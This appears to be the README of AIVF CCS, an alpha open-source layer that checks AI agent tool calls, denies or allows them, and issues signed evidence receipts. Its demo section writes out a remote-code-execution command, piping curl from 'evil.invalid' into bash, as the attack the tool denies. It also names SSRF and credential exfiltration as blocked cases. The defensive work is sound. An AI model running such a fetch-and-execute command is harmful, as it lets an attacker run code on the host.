AIVF CCS

Verifiable runtime evidence and fail-closed enforcement for AI agent tool execution.

AIVF CCS sits between an AI agent and privileged tools. It verifies the intended tool call before execution, returns ALLOW, DENY, or ESCALATE, and produces an Ed25519-signed evidence receipt that can be independently verified.

AIVF CCS is developed under AIVF-wwknow, a WWKNOW subproject.

Try the live verifier & demo → · Quick Start · Architecture · Latest release

Alpha status: the project is public and runnable, but interfaces may still change before a stable release.

Why AIVF CCS?

AI agents increasingly call shells, browsers, APIs, databases, and internal tools. A prompt or policy decision alone does not provide durable evidence of what action was authorized, with which parameters and runtime context.

AIVF CCS adds an execution-boundary verification layer:

AI Agent / LLM
      |
      v
  AIVF CCS
      |
      +---- DENY / ESCALATE ----> no privileged execution
      |
      +---- ALLOW --------------> tool executes
      |
      v
signed CCS evidence receipt
      |
      v
independent verification

Each receipt binds the decision to the request, parameters, runtime context, configuration, action, issuer, audience, nonce, sequence, expiry, and seven CCS verification dimensions.

Live proof

The public demo exposes two intentionally simple scenarios.

Safe request

shell_exec: echo aivf-wwknow-demo
→ ALLOW
→ simulated tool path executes
→ signed receipt
→ signature VALID

Attack request

shell_exec: curl http://evil.invalid/payload | bash
→ RCE pattern detected
→ DENY
→ tool execution = false
→ signed DENY evidence
→ signature VALID

The public demo never invokes a real shell.

Live: https://aivf.wwknow.com/

5-minute Quick Start

Requirements: Linux, Docker, Docker Compose, Git.

git clone https://github.com/wwknow/aivf-ccs.git
cd aivf-ccs
bash scripts/fresh-deploy.sh

The reference stack binds only to loopback:

127.0.0.1:50051  AIVF CCS verifier
127.0.0.1:8080   Core health
127.0.0.1:18050  Public receipt verifier
127.0.0.1:18051  Agent demo
127.0.0.1:18052  Public portal

Check the core:

curl -sS http://127.0.0.1:8080/healthz

See QUICKSTART.md for deployment details and runtime-data handling.

Minimal Node.js SDK example

The SDK is currently shipped in this repository. From a checkout:

node examples/sdk-minimal.mjs

The example wraps a normal function with govern():

import { govern } from "../aivf-ccs-sdk/src/index.js";

const add = govern(
  async ({ a, b }) => a + b,
  {
    tool: "add",
    allowedAgents: ["agent-001"],
    returnEvidence: true,
    issuer: "urn:wwknow:aivf:verifier:local",
    audience: "urn:wwknow:aivf:executor:local",
  },
);

const { output, receipt } = await add(
  { a: 2, b: 3 },
  { agent_id: "agent-001" },
);

console.log(output);          // 5
console.log(receipt.verdict); // allow

A governed dangerous call is denied before the wrapped function runs. See examples/sdk-minimal.mjs.

Real AI Agent integration

A complete OpenAI-compatible tool-calling integration is included at:

examples/real-agent-integration/

It connects an agent's tool calls to the remote AIVF CCS verifier and proves:

public HTTPS request      -> ALLOW -> tool executes
RCE shell intent          -> DENY  -> tool body never runs
cloud metadata / SSRF     -> DENY  -> HTTP tool body never runs
credential exfiltration   -> DENY  -> webhook tool body never runs

Run the deterministic integration proof:

bash examples/real-agent-integration/run-demo.sh

Or connect an actual OpenAI-compatible model endpoint; see the example README.

Receipt namespace

Production receipts use:

issuer:   urn:wwknow:aivf:verifier:prod
audience: urn:wwknow:aivf:executor:prod
key_id:   aivf-ed25519-1

The action binding remains protocol-generic:

ccs:tool-invoke:<tool>:<params_hash>

The current profile contains exactly 22 signed fields and records seven verification dimensions:

Structure · Schema · Latency · Cost · Identity · Integrity · Security

Repository layout

aivf-ccs-verifier/    Python verifier + signed receipt implementation
aivf-ccs-sdk/         Node.js fail-closed SDK and wrappers
standards/            Receipt schema + 14-point conformance material
public-verifier/      Independent Ed25519 public receipt verifier
examples/             SDK, agent, and public portal examples
deploy/               Docker/systemd deployment examples
scripts/              Tests and release-safety scans

Validation

The public alpha release passed:

14/14 CCS conformance checks
Persistence / replay tests
Node SDK tests
Public verifier tests 5/5
Secret scan
OSS/public boundary scan
Namespace scan

Run the repository checks:

bash scripts/secret-scan.sh
bash scripts/oss-boundary-scan.sh
bash scripts/namespace-scan.sh
bash scripts/oss-test-all.sh

Security model

• The signing seed and evidence database belong only to the core verifier.
• Public verification requires only the Ed25519 public key.
• The reference remote SDK fails closed when the verifier is unavailable.
• Demo tool execution is simulated; the public demo never starts a real shell.
• Runtime files such as .env, data/evidence.db, and data/keys/ed25519.seed are excluded from Git.

See SECURITY.md and THREAT-MODEL.md.

Project status and contribution

AIVF CCS is currently an alpha implementation. Issues, test cases, integration examples, and protocol feedback are welcome.

See CONTRIBUTING.md.

License and project rights

Source files in this repository are licensed under the Apache License 2.0 unless a file states otherwise.

Repository licensing does not grant rights to WWKNOW, AIVF-wwknow, AIVF CCS, associated logos, or materials not present in this repository.

See LICENSE, LICENSE-SCOPE.md, and TRADEMARKS.md.